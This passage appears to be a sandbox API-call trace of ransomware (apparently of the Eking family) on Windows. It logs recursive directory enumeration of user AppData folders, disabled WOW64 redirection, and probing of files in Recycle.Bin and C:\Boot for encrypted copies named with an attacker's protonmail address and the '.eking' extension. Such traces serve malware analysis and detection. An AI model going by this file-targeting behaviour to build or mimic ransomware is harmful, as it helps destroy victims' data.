ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x50fa0830, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639788 [0281.125] FindClose (in: hFindFile=0x639788 | out: hFindFile=0x639788) returned 1 [0281.127] GetProcessHeap () returned 0x550000 [0281.127] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0281.127] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0281.127] GetProcessHeap () returned 0x550000 [0281.127] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0281.127] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0281.127] GetProcessHeap () returned 0x550000 [0281.127] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3722060 | out: hHeap=0x550000) returned 1 [0281.127] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0281.127] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\*", lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0281.128] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\*", lpFindFileData=0x2cedbe0 | out: lpFindFileData=0x2cedbe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639788 [0281.128] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS HALPmcxz\\*", lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639948 [0281.130] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\*", lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639988 [0281.131] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6399c8 [0281.131] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\*", lpFindFileData=0x2ced1c0 | out: lpFindFileData=0x2ced1c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0281.132] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\*", lpFindFileData=0x2cecf38 | out: lpFindFileData=0x2cecf38*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0281.132] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\*", lpFindFileData=0x2ceccb0 | out: lpFindFileData=0x2ceccb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a88 [0281.133] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\Low\\*", lpFindFileData=0x2ceca28 | out: lpFindFileData=0x2ceca28*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639ac8 [0281.133] FindClose (in: hFindFile=0x639ac8 | out: hFindFile=0x639ac8) returned 1 [0281.134] GetProcessHeap () returned 0x550000 [0281.134] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3754078 | out: hHeap=0x550000) returned 1 [0281.134] FindClose (in: hFindFile=0x639a88 | out: hFindFile=0x639a88) returned 1 [0281.134] GetProcessHeap () returned 0x550000 [0281.134] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0281.134] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0281.134] GetProcessHeap () returned 0x550000 [0281.134] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26320b0 | out: hHeap=0x550000) returned 1 [0281.134] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0281.134] GetProcessHeap () returned 0x550000 [0281.134] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26220a8 | out: hHeap=0x550000) returned 1 [0281.134] FindClose (in: hFindFile=0x6399c8 | out: hFindFile=0x6399c8) returned 1 [0281.134] GetProcessHeap () returned 0x550000 [0281.134] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26120a0 | out: hHeap=0x550000) returned 1 [0281.136] FindClose (in: hFindFile=0x639988 | out: hFindFile=0x639988) returned 1 [0281.136] GetProcessHeap () returned 0x550000 [0281.136] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2602098 | out: hHeap=0x550000) returned 1 [0281.137] FindClose (in: hFindFile=0x639948 | out: hFindFile=0x639948) returned 1 [0281.137] GetProcessHeap () returned 0x550000 [0281.137] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0281.138] FindClose (in: hFindFile=0x639788 | out: hFindFile=0x639788) returned 1 [0281.138] GetProcessHeap () returned 0x550000 [0281.138] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0281.141] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0281.141] GetProcessHeap () returned 0x550000 [0281.141] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3722060 | out: hHeap=0x550000) returned 1 [0281.141] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0281.141] GetProcessHeap () returned 0x550000 [0281.141] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0281.141] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0281.141] GetProcessHeap () returned 0x550000 [0281.141] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3712058 | out: hHeap=0x550000) returned 1 [0281.143] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Themes\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd8d1fc80, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xd8d1fc80, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0281.143] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0281.143] GetProcessHeap () returned 0x550000 [0281.143] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0281.143] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\WER\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0281.144] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\WER\\ERC\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1b9b8e9c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0281.144] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0281.144] GetProcessHeap () returned 0x550000 [0281.144] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3754078 | out: hHeap=0x550000) returned 1 [0281.144] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\WER\\ReportArchive\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0281.144] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0281.144] GetProcessHeap () returned 0x550000 [0281.144] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3754078 | out: hHeap=0x550000) returned 1 [0281.144] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0281.144] GetProcessHeap () returned 0x550000 [0281.144] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0281.145] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0281.145] GetProcessHeap () returned 0x550000 [0281.145] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0281.145] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c881c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c881c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0281.236] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2b9ed580, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2b9ed580, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0281.249] FindFirstFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\*", lpFindFileData=0x2cee0f0) Thread: id = 80 os_tid = 0x3a0 [0194.822] GetProcessHeap () returned 0x550000 [0194.822] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6285e0 [0194.822] GetProcessHeap () returned 0x550000 [0194.822] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x63a5f0 [0194.822] GetProcessHeap () returned 0x550000 [0194.822] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x28) returned 0x572510 [0194.822] GetProcessHeap () returned 0x550000 [0194.822] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x110102) returned 0x3250020 [0194.823] GetProcessHeap () returned 0x550000 [0194.823] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x50) returned 0x56cef8 [0194.823] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x770d0000 [0194.823] GetProcAddress (hModule=0x770d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x770fd650 [0194.823] Wow64DisableWow64FsRedirection (in: OldValue=0x2e3fa3c | out: OldValue=0x2e3fa3c*=0x0) returned 1 [0194.823] GetProcessHeap () returned 0x550000 [0194.823] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56cef8 | out: hHeap=0x550000) returned 1 [0194.824] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0194.824] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=129) returned 1 [0194.824] CloseHandle (hObject=0x194) returned 1 [0194.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 0x26 [0194.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 0x26 [0194.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0x26 [0194.825] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0194.826] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0194.826] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0194.826] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=0) returned 1 [0194.826] CloseHandle (hObject=0x194) returned 1 [0194.827] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0194.827] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=0) returned 1 [0194.827] CloseHandle (hObject=0x194) returned 1 [0194.827] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0194.828] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=89168) returned 1 [0194.828] CloseHandle (hObject=0x194) returned 1 [0194.828] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0194.828] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0194.828] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0194.828] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0194.829] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0194.829] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=87616) returned 1 [0194.829] CloseHandle (hObject=0x194) returned 1 [0194.829] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0194.829] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0194.829] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0194.829] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0194.830] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0194.830] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=91712) returned 1 [0194.830] CloseHandle (hObject=0x194) returned 1 [0194.830] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0194.830] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0194.830] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0194.830] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0194.831] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0194.831] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=94800) returned 1 [0194.831] CloseHandle (hObject=0x194) returned 1 [0194.831] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0194.831] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0194.831] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0194.831] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0194.832] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0194.832] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=85056) returned 1 [0194.832] CloseHandle (hObject=0x194) returned 1 